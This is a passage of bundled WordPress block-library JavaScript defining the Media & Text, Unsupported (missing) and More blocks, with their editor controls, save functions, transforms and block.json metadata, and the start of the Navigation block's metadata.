29191 onDragStart: imperativeFocalPointPreview,
29192 onDrag: imperativeFocalPointPreview
29193 }
29194 )
29195 }
29196 ),
29197 mediaType === "image" && mediaUrl && !useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29198 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29199 {
29200 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
29201 isShownByDefault: true,
29202 hasValue: () => !!mediaAlt,
29203 onDeselect: () => setAttributes({ mediaAlt: "" }),
29204 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29205 external_wp_components_namespaceObject.TextareaControl,
29206 {
29207 __nextHasNoMarginBottom: true,
29208 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
29209 value: mediaAlt,
29210 onChange: onMediaAltChange,
29211 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29212 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29213 external_wp_components_namespaceObject.ExternalLink,
29214 {
29215 href: (
29216 // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
29217 (0,external_wp_i18n_namespaceObject.__)(
29218 "https://www.w3.org/WAI/tutorials/images/decision-tree/"
29219 )
29220 ),
29221 children: (0,external_wp_i18n_namespaceObject.__)(
29222 "Describe the purpose of the image."
29223 )
29224 }
29225 ),
29226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
29227 (0,external_wp_i18n_namespaceObject.__)("Leave empty if decorative.")
29228 ] })
29229 }
29230 )
29231 }
29232 ),
29233 mediaType === "image" && !useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29234 MediaTextResolutionTool,
29235 {
29236 image,
29237 value: mediaSizeSlug,
29238 onChange: updateImage
29239 }
29240 )
29241 ]
29242 }
29243 );
29244 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
29245 className: classNames,
29246 style
29247 });
29248 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
29249 { className: "wp-block-media-text__content" },
29250 { template: constants_TEMPLATE, allowedBlocks }
29251 );
29252 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
29253 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29254 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: mediaTextGeneralSettings }),
29255 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
29256 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29257 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29258 external_wp_blockEditor_namespaceObject.BlockVerticalAlignmentControl,
29259 {
29260 onChange: onVerticalAlignmentChange,
29261 value: verticalAlignment
29262 }
29263 ),
29264 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29265 external_wp_components_namespaceObject.ToolbarButton,
29266 {
29267 icon: pull_left_default,
29268 title: (0,external_wp_i18n_namespaceObject.__)("Show media on left"),
29269 isActive: mediaPosition === "left",
29270 onClick: () => setAttributes({ mediaPosition: "left" })
29271 }
29272 ),
29273 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29274 external_wp_components_namespaceObject.ToolbarButton,
29275 {
29276 icon: pull_right_default,
29277 title: (0,external_wp_i18n_namespaceObject.__)("Show media on right"),
29278 isActive: mediaPosition === "right",
29279 onClick: () => setAttributes({ mediaPosition: "right" })
29280 }
29281 )
29282 ] }),
29283 mediaType === "image" && !useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29284 external_wp_blockEditor_namespaceObject.__experimentalImageURLInputUI,
29285 {
29286 url: href || "",
29287 onChangeUrl: onSetHref,
29288 linkDestination,
29289 mediaType,
29290 mediaUrl: image && image.source_url,
29291 mediaLink: image && image.link,
29292 linkTarget,
29293 linkClass,
29294 rel
29295 }
29296 )
29297 ] }),
29298 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
29299 mediaPosition === "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }),
29300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29301 media_container_default,
29302 {
29303 className: "wp-block-media-text__media",
29304 onSelectMedia,
29305 onWidthChange,
29306 commitWidthChange,
29307 refMedia,
29308 enableResize: blockEditingMode === "default",
29309 toggleUseFeaturedImage,
29310 ...{
29311 focalPoint,
29312 imageFill,
29313 isSelected,
29314 isStackedOnMobile,
29315 mediaAlt,
29316 mediaId,
29317 mediaPosition,
29318 mediaType,
29319 mediaUrl,
29320 mediaWidth,
29321 useFeaturedImage,
29322 featuredImageURL,
29323 featuredImageAlt
29324 }
29325 }
29326 ),
29327 mediaPosition !== "right" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
29328 ] })
29329 ] });
29330}
29331var media_text_edit_edit_default = MediaTextEdit;
29332
29333
29334;// ./node_modules/@wordpress/block-library/build-module/media-text/block.json
29335const media_text_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/media-text","title":"Media & Text","category":"media","description":"Set media and words side-by-side for a richer layout.","keywords":["image","video"],"textdomain":"default","attributes":{"align":{"type":"string","default":"none"},"mediaAlt":{"type":"string","source":"attribute","selector":"figure img","attribute":"alt","default":"","role":"content"},"mediaPosition":{"type":"string","default":"left"},"mediaId":{"type":"number","role":"content"},"mediaUrl":{"type":"string","source":"attribute","selector":"figure video,figure img","attribute":"src","role":"content"},"mediaLink":{"type":"string"},"linkDestination":{"type":"string"},"linkTarget":{"type":"string","source":"attribute","selector":"figure a","attribute":"target"},"href":{"type":"string","source":"attribute","selector":"figure a","attribute":"href","role":"content"},"rel":{"type":"string","source":"attribute","selector":"figure a","attribute":"rel"},"linkClass":{"type":"string","source":"attribute","selector":"figure a","attribute":"class"},"mediaType":{"type":"string","role":"content"},"mediaWidth":{"type":"number","default":50},"mediaSizeSlug":{"type":"string"},"isStackedOnMobile":{"type":"boolean","default":true},"verticalAlignment":{"type":"string"},"imageFill":{"type":"boolean"},"focalPoint":{"type":"object"},"useFeaturedImage":{"type":"boolean","default":false}},"usesContext":["postId","postType"],"supports":{"anchor":true,"align":["wide","full"],"html":false,"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"color":{"gradients":true,"heading":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"allowedBlocks":true},"editorStyle":"wp-block-media-text-editor","style":"wp-block-media-text"}');
29336;// ./node_modules/@wordpress/block-library/build-module/media-text/save.js
29337
29338
29339
29340
29341
29342const save_DEFAULT_MEDIA_WIDTH = 50;
29343const save_noop = () => {
29344};
29345function media_text_save_save({ attributes }) {
29346 const {
29347 isStackedOnMobile,
29348 mediaAlt,
29349 mediaPosition,
29350 mediaType,
29351 mediaUrl,
29352 mediaWidth,
29353 mediaId,
29354 verticalAlignment,
29355 imageFill,
29356 focalPoint,
29357 linkClass,
29358 href,
29359 linkTarget,
29360 rel
29361 } = attributes;
29362 const mediaSizeSlug = attributes.mediaSizeSlug || media_text_constants_DEFAULT_MEDIA_SIZE_SLUG;
29363 const newRel = !rel ? void 0 : rel;
29364 const imageClasses = dist_clsx({
29365 [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
29366 [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
29367 });
29368 const positionStyles = imageFill ? imageFillStyles(mediaUrl, focalPoint) : {};
29369 let image = mediaUrl ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29370 "img",
29371 {
29372 src: mediaUrl,
29373 alt: mediaAlt,
29374 className: imageClasses || null,
29375 style: positionStyles
29376 }
29377 ) : null;
29378 if (href) {
29379 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29380 "a",
29381 {
29382 className: linkClass,
29383 href,
29384 target: linkTarget,
29385 rel: newRel,
29386 children: image
29387 }
29388 );
29389 }
29390 const mediaTypeRenders = {
29391 image: () => image,
29392 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
29393 };
29394 const className = dist_clsx({
29395 "has-media-on-the-right": "right" === mediaPosition,
29396 "is-stacked-on-mobile": isStackedOnMobile,
29397 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
29398 "is-image-fill-element": imageFill
29399 });
29400 let gridTemplateColumns;
29401 if (mediaWidth !== save_DEFAULT_MEDIA_WIDTH) {
29402 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
29403 }
29404 const style = {
29405 gridTemplateColumns
29406 };
29407 if ("right" === mediaPosition) {
29408 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
29409 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29410 "div",
29411 {
29412 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
29413 className: "wp-block-media-text__content"
29414 })
29415 }
29416 ),
29417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || save_noop)() })
29418 ] });
29419 }
29420 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
29421 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || save_noop)() }),
29422 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29423 "div",
29424 {
29425 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
29426 className: "wp-block-media-text__content"
29427 })
29428 }
29429 )
29430 ] });
29431}
29432
29433
29434;// ./node_modules/@wordpress/block-library/build-module/media-text/transforms.js
29435
29436const media_text_transforms_transforms = {
29437 from: [
29438 {
29439 type: "block",
29440 blocks: ["core/image"],
29441 transform: ({ alt, url, id, anchor }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/media-text", {
29442 mediaAlt: alt,
29443 mediaId: id,
29444 mediaUrl: url,
29445 mediaType: "image",
29446 anchor
29447 })
29448 },
29449 {
29450 type: "block",
29451 blocks: ["core/video"],
29452 transform: ({ src, id, anchor }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/media-text", {
29453 mediaId: id,
29454 mediaUrl: src,
29455 mediaType: "video",
29456 anchor
29457 })
29458 },
29459 {
29460 type: "block",
29461 blocks: ["core/cover"],
29462 transform: ({
29463 align,
29464 alt,
29465 anchor,
29466 backgroundType,
29467 customGradient,
29468 customOverlayColor,
29469 gradient,
29470 id,
29471 overlayColor,
29472 style,
29473 textColor,
29474 url,
29475 useFeaturedImage
29476 }, innerBlocks) => {
29477 let additionalAttributes = {};
29478 if (customGradient) {
29479 additionalAttributes = {
29480 style: {
29481 color: {
29482 gradient: customGradient
29483 }
29484 }
29485 };
29486 } else if (customOverlayColor) {
29487 additionalAttributes = {
29488 style: {
29489 color: {
29490 background: customOverlayColor
29491 }
29492 }
29493 };
29494 }
29495 if (style?.color?.text) {
29496 additionalAttributes.style = {
29497 color: {
29498 ...additionalAttributes.style?.color,
29499 text: style.color.text
29500 }
29501 };
29502 }
29503 return (0,external_wp_blocks_namespaceObject.createBlock)(
29504 "core/media-text",
29505 {
29506 align,
29507 anchor,
29508 backgroundColor: overlayColor,
29509 gradient,
29510 mediaAlt: alt,
29511 mediaId: id,
29512 mediaType: backgroundType,
29513 mediaUrl: url,
29514 textColor,
29515 useFeaturedImage,
29516 ...additionalAttributes
29517 },
29518 innerBlocks
29519 );
29520 }
29521 }
29522 ],
29523 to: [
29524 {
29525 type: "block",
29526 blocks: ["core/image"],
29527 isMatch: ({ mediaType, mediaUrl }) => {
29528 return !mediaUrl || mediaType === "image";
29529 },
29530 transform: ({ mediaAlt, mediaId, mediaUrl, anchor }) => {
29531 return (0,external_wp_blocks_namespaceObject.createBlock)("core/image", {
29532 alt: mediaAlt,
29533 id: mediaId,
29534 url: mediaUrl,
29535 anchor
29536 });
29537 }
29538 },
29539 {
29540 type: "block",
29541 blocks: ["core/video"],
29542 isMatch: ({ mediaType, mediaUrl }) => {
29543 return !mediaUrl || mediaType === "video";
29544 },
29545 transform: ({ mediaId, mediaUrl, anchor }) => {
29546 return (0,external_wp_blocks_namespaceObject.createBlock)("core/video", {
29547 id: mediaId,
29548 src: mediaUrl,
29549 anchor
29550 });
29551 }
29552 },
29553 {
29554 type: "block",
29555 blocks: ["core/cover"],
29556 transform: ({
29557 align,
29558 anchor,
29559 backgroundColor,
29560 focalPoint,
29561 gradient,
29562 mediaAlt,
29563 mediaId,
29564 mediaType,
29565 mediaUrl,
29566 style,
29567 textColor,
29568 useFeaturedImage
29569 }, innerBlocks) => {
29570 const additionalAttributes = {};
29571 if (style?.color?.gradient) {
29572 additionalAttributes.customGradient = style.color.gradient;
29573 } else if (style?.color?.background) {
29574 additionalAttributes.customOverlayColor = style.color.background;
29575 }
29576 if (style?.color?.text) {
29577 additionalAttributes.style = {
29578 color: { text: style.color.text }
29579 };
29580 }
29581 const coverAttributes = {
29582 align,
29583 alt: mediaAlt,
29584 anchor,
29585 backgroundType: mediaType,
29586 dimRatio: !!mediaUrl || useFeaturedImage ? 50 : 100,
29587 focalPoint,
29588 gradient,
29589 id: mediaId,
29590 overlayColor: backgroundColor,
29591 textColor,
29592 url: mediaUrl,
29593 useFeaturedImage,
29594 ...additionalAttributes
29595 };
29596 return (0,external_wp_blocks_namespaceObject.createBlock)(
29597 "core/cover",
29598 coverAttributes,
29599 innerBlocks
29600 );
29601 }
29602 }
29603 ]
29604};
29605var media_text_transforms_transforms_default = media_text_transforms_transforms;
29606
29607
29608;// ./node_modules/@wordpress/block-library/build-module/media-text/index.js
29609
29610
29611
29612
29613
29614
29615
29616
29617const { name: media_text_name } = media_text_block_namespaceObject;
29618const media_text_settings = {
29619 icon: media_and_text_default,
29620 example: {
29621 viewportWidth: 601,
29622 // Columns collapse "@media (max-width: 600px)".
29623 attributes: {
29624 mediaType: "image",
29625 mediaUrl: "https://s.w.org/images/core/5.3/Biologia_Centrali-Americana_-_Cantorchilus_semibadius_1902.jpg"
29626 },
29627 innerBlocks: [
29628 {
29629 name: "core/paragraph",
29630 attributes: {
29631 content: (0,external_wp_i18n_namespaceObject.__)(
29632 "The wren<br>Earns his living<br>Noiselessly."
29633 )
29634 }
29635 },
29636 {
29637 name: "core/paragraph",
29638 attributes: {
29639 content: (0,external_wp_i18n_namespaceObject.__)("\u2014 Kobayashi Issa (\u4E00\u8336)")
29640 }
29641 }
29642 ]
29643 },
29644 transforms: media_text_transforms_transforms_default,
29645 edit: media_text_edit_edit_default,
29646 save: media_text_save_save,
29647 deprecated: media_text_deprecated_deprecated_default
29648};
29649const media_text_init = () => initBlock({ name: media_text_name, metadata: media_text_block_namespaceObject, settings: media_text_settings });
29650
29651
29652;// ./node_modules/@wordpress/block-library/build-module/missing/edit.js
29653
29654
29655
29656
29657
29658
29659
29660
29661function MissingEdit({ attributes, clientId }) {
29662 const { originalName, originalUndelimitedContent } = attributes;
29663 const hasContent = !!originalUndelimitedContent;
29664 const { hasFreeformBlock, hasHTMLBlock } = (0,external_wp_data_namespaceObject.useSelect)(
29665 (select) => {
29666 const { canInsertBlockType, getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store);
29667 return {
29668 hasFreeformBlock: canInsertBlockType(
29669 "core/freeform",
29670 getBlockRootClientId(clientId)
29671 ),
29672 hasHTMLBlock: canInsertBlockType(
29673 "core/html",
29674 getBlockRootClientId(clientId)
29675 )
29676 };
29677 },
29678 [clientId]
29679 );
29680 const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
29681 function convertToHTML() {
29682 replaceBlock(
29683 clientId,
29684 (0,external_wp_blocks_namespaceObject.createBlock)("core/html", {
29685 content: originalUndelimitedContent
29686 })
29687 );
29688 }
29689 const actions = [];
29690 let messageHTML;
29691 const convertToHtmlButton = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29692 external_wp_components_namespaceObject.Button,
29693 {
29694 __next40pxDefaultSize: true,
29695 onClick: convertToHTML,
29696 variant: "primary",
29697 children: (0,external_wp_i18n_namespaceObject.__)("Keep as HTML")
29698 },
29699 "convert"
29700 );
29701 if (hasContent && !hasFreeformBlock && !originalName) {
29702 if (hasHTMLBlock) {
29703 messageHTML = (0,external_wp_i18n_namespaceObject.__)(
29704 "It appears you are trying to use the deprecated Classic block. You can leave this block intact, convert its content to a Custom HTML block, or remove it entirely. Alternatively, you can refresh the page to use the Classic block."
29705 );
29706 actions.push(convertToHtmlButton);
29707 } else {
29708 messageHTML = (0,external_wp_i18n_namespaceObject.__)(
29709 "It appears you are trying to use the deprecated Classic block. You can leave this block intact, or remove it entirely. Alternatively, you can refresh the page to use the Classic block."
29710 );
29711 }
29712 } else if (hasContent && hasHTMLBlock) {
29713 messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(
29714 /* translators: %s: block name */
29715 (0,external_wp_i18n_namespaceObject.__)(
29716 'Your site doesn\u2019t include support for the "%s" block. You can leave it as-is, convert it to custom HTML, or remove it.'
29717 ),
29718 originalName
29719 );
29720 actions.push(convertToHtmlButton);
29721 } else {
29722 messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(
29723 /* translators: %s: block name */
29724 (0,external_wp_i18n_namespaceObject.__)(
29725 'Your site doesn\u2019t include support for the "%s" block. You can leave it as-is or remove it.'
29726 ),
29727 originalName
29728 );
29729 }
29730 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: "has-warning" }), children: [
29731 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions, children: messageHTML }),
29732 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: (0,external_wp_dom_namespaceObject.safeHTML)(originalUndelimitedContent) })
29733 ] });
29734}
29735
29736
29737;// ./node_modules/@wordpress/block-library/build-module/missing/block.json
29738const missing_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/missing","title":"Unsupported","category":"text","description":"Your site doesn’t include support for this block.","textdomain":"default","attributes":{"originalName":{"type":"string"},"originalUndelimitedContent":{"type":"string"},"originalContent":{"type":"string","source":"raw"}},"supports":{"className":false,"customClassName":false,"inserter":false,"html":false,"lock":false,"reusable":false,"renaming":false,"visibility":false,"interactivity":{"clientNavigation":true}}}');
29739;// ./node_modules/@wordpress/block-library/build-module/missing/save.js
29740
29741
29742function missing_save_save({ attributes }) {
29743 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: attributes.originalContent });
29744}
29745
29746
29747;// ./node_modules/@wordpress/block-library/build-module/missing/index.js
29748
29749
29750
29751
29752
29753const { name: missing_name } = missing_block_namespaceObject;
29754const missing_settings = {
29755 name: missing_name,
29756 __experimentalLabel(attributes, { context }) {
29757 if (context === "accessibility") {
29758 const { originalName } = attributes;
29759 const originalBlockType = originalName ? (0,external_wp_blocks_namespaceObject.getBlockType)(originalName) : void 0;
29760 if (originalBlockType) {
29761 return originalBlockType.settings.title || originalName;
29762 }
29763 return "";
29764 }
29765 },
29766 edit: MissingEdit,
29767 save: missing_save_save
29768};
29769const missing_init = () => initBlock({ name: missing_name, metadata: missing_block_namespaceObject, settings: missing_settings });
29770
29771
29772;// ./node_modules/@wordpress/icons/build-module/library/more.js
29773
29774
29775var more_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 9v1.5h16V9H4zm12 5.5h4V13h-4v1.5zm-6 0h4V13h-4v1.5zm-6 0h4V13H4v1.5z" }) });
29776
29777
29778;// ./node_modules/@wordpress/block-library/build-module/more/edit.js
29779
29780
29781
29782
29783
29784
29785const DEFAULT_TEXT = (0,external_wp_i18n_namespaceObject.__)("Read more");
29786function MoreEdit({
29787 attributes: { customText, noTeaser },
29788 insertBlocksAfter,
29789 setAttributes
29790}) {
29791 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
29792 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29793 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29794 external_wp_components_namespaceObject.__experimentalToolsPanel,
29795 {
29796 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
29797 resetAll: () => {
29798 setAttributes({
29799 noTeaser: false
29800 });
29801 },
29802 dropdownMenuProps,
29803 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29804 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29805 {
29806 label: (0,external_wp_i18n_namespaceObject.__)("Hide excerpt"),
29807 isShownByDefault: true,
29808 hasValue: () => noTeaser,
29809 onDeselect: () => setAttributes({ noTeaser: false }),
29810 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29811 external_wp_components_namespaceObject.ToggleControl,
29812 {
29813 __nextHasNoMarginBottom: true,
29814 label: (0,external_wp_i18n_namespaceObject.__)(
29815 "Hide the excerpt on the full content page"
29816 ),
29817 checked: !!noTeaser,
29818 onChange: () => setAttributes({ noTeaser: !noTeaser }),
29819 help: (checked) => checked ? (0,external_wp_i18n_namespaceObject.__)("The excerpt is hidden.") : (0,external_wp_i18n_namespaceObject.__)("The excerpt is visible.")
29820 }
29821 )
29822 }
29823 )
29824 }
29825 ) }),
29826 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29827 external_wp_blockEditor_namespaceObject.PlainText,
29828 {
29829 __experimentalVersion: 2,
29830 tagName: "span",
29831 "aria-label": (0,external_wp_i18n_namespaceObject.__)('"Read more" text'),
29832 value: customText,
29833 placeholder: DEFAULT_TEXT,
29834 onChange: (value) => setAttributes({ customText: value }),
29835 disableLineBreaks: true,
29836 __unstableOnSplitAtEnd: () => insertBlocksAfter(
29837 (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())
29838 )
29839 }
29840 ) })
29841 ] });
29842}
29843
29844
29845;// ./node_modules/@wordpress/block-library/build-module/more/block.json
29846const more_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/more","title":"More","category":"design","description":"Content before this block will be shown in the excerpt on your archives page.","keywords":["read more"],"textdomain":"default","attributes":{"customText":{"type":"string","default":"","role":"content"},"noTeaser":{"type":"boolean","default":false}},"supports":{"customClassName":false,"className":false,"html":false,"multiple":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-more-editor"}');
29847;// ./node_modules/@wordpress/block-library/build-module/more/save.js
29848
29849
29850function more_save_save({ attributes: { customText, noTeaser } }) {
29851 const moreTag = customText ? `<!--more ${customText}-->` : "<!--more-->";
29852 const noTeaserTag = noTeaser ? "<!--noteaser-->" : "";
29853 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: [moreTag, noTeaserTag].filter(Boolean).join("\n") });
29854}
29855
29856
29857;// ./node_modules/@wordpress/block-library/build-module/more/transforms.js
29858
29859const more_transforms_transforms = {
29860 from: [
29861 {
29862 type: "raw",
29863 schema: {
29864 "wp-block": { attributes: ["data-block"] }
29865 },
29866 isMatch: (node) => node.dataset && node.dataset.block === "core/more",
29867 transform(node) {
29868 const { customText, noTeaser } = node.dataset;
29869 const attrs = {};
29870 if (customText) {
29871 attrs.customText = customText;
29872 }
29873 if (noTeaser === "") {
29874 attrs.noTeaser = true;
29875 }
29876 return (0,external_wp_blocks_namespaceObject.createBlock)("core/more", attrs);
29877 }
29878 }
29879 ]
29880};
29881var more_transforms_transforms_default = more_transforms_transforms;
29882
29883
29884;// ./node_modules/@wordpress/block-library/build-module/more/index.js
29885
29886
29887
29888
29889
29890
29891const { name: more_name } = more_block_namespaceObject;
29892const more_settings = {
29893 icon: more_default,
29894 example: {},
29895 __experimentalLabel(attributes, { context }) {
29896 const customName = attributes?.metadata?.name;
29897 if (context === "list-view" && customName) {
29898 return customName;
29899 }
29900 if (context === "accessibility") {
29901 return attributes.customText;
29902 }
29903 },
29904 transforms: more_transforms_transforms_default,
29905 edit: MoreEdit,
29906 save: more_save_save
29907};
29908const more_init = () => initBlock({ name: more_name, metadata: more_block_namespaceObject, settings: more_settings });
29909
29910
29911;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
29912
29913
29914var navigation_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });
29915
29916
29917;// ./node_modules/@wordpress/block-library/build-module/navigation/block.json
29918const navigation_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/navigation","title":"Navigation","category":"theme","allowedBlocks":["core/navigation-link","core/search","core/social-links","core/page-list","core/spacer","core/home-link","core/site-title","core/site-logo","core/navigation-submenu","core/loginout","core/buttons"],"description":"A collection of blocks that allow visitors to get around your site.","keywords":["menu","navigation","links"],"textdomain":"default","attributes":{"ref":{"type":"number"},"textColor":{"type":"string"},"customTextColor":{"type":"string"},"rgbTextColor":{"type":"string"},"backgroundColor":{"type":"string"},"customBackgroundColor":{"type":"string"},"rgbBackgroundColor":{"type":"string"},"showSubmenuIcon":{"type":"boolean","default":true},"openSubmenusOnClick":{"type":"boolean","default":false},"overlayMenu":{"type":"string","default":"mobile"},"icon":{"type":"string","default":"handle"},"hasIcon":{"type":"boolean","default":true},"__unstableLocation":{"type":"string"},"overlayBackgroundColor":{"type":"string"},"customOverlayBackgroundColor":{"type":"string"},"overlayTextColor":{"type":"string"},"customOverlayTextColor":{"type":"string"},"maxNestingLevel":{"type":"number","default":5},"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false]}},"providesContext":{"textColor":"textColor","customTextColor":"customTextColor","backgroundColor":"backgroundColor","customBackgroundColor":"customBackgroundColor","overlayTextColor":"overlayTextColor","customOverlayTextColor":"customOverlayTextColor","overlayBackgroundColor":"overlayBackgroundColor","customOverlayBackgroundColor":"customOverlayBackgroundColor","fontSize":"fontSize","customFontSize":"customFontSize","showSubmenuIcon":"showSubmenuIcon","openSubmenusOnClick":"openSubmenusOnClick","style":"style","maxNestingLevel":"maxNestingLevel"},"supports":{"align":["wide","full"],"ariaLabel":true,"html":false,"inserter":true,"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalTextTransform":true,"__experimentalFontFamily":true,"__experimentalLetterSpacing":true,"__experimentalTextDecoration":true,"__experimentalSkipSerialization":["textDecoration"],"__experimentalDefaultControls":{"fontSize":true}},"spacing":{"blockGap":true,"units":["px","em","rem","vh","vw"],"__experimentalDefaultControls":{"blockGap":true}},"layout":{"allowSwitching":false,"allowInheriting":false,"allowVerticalAlignment":false,"allowSizingOnChildren":true,"default":{"type":"flex"}},"interactivity":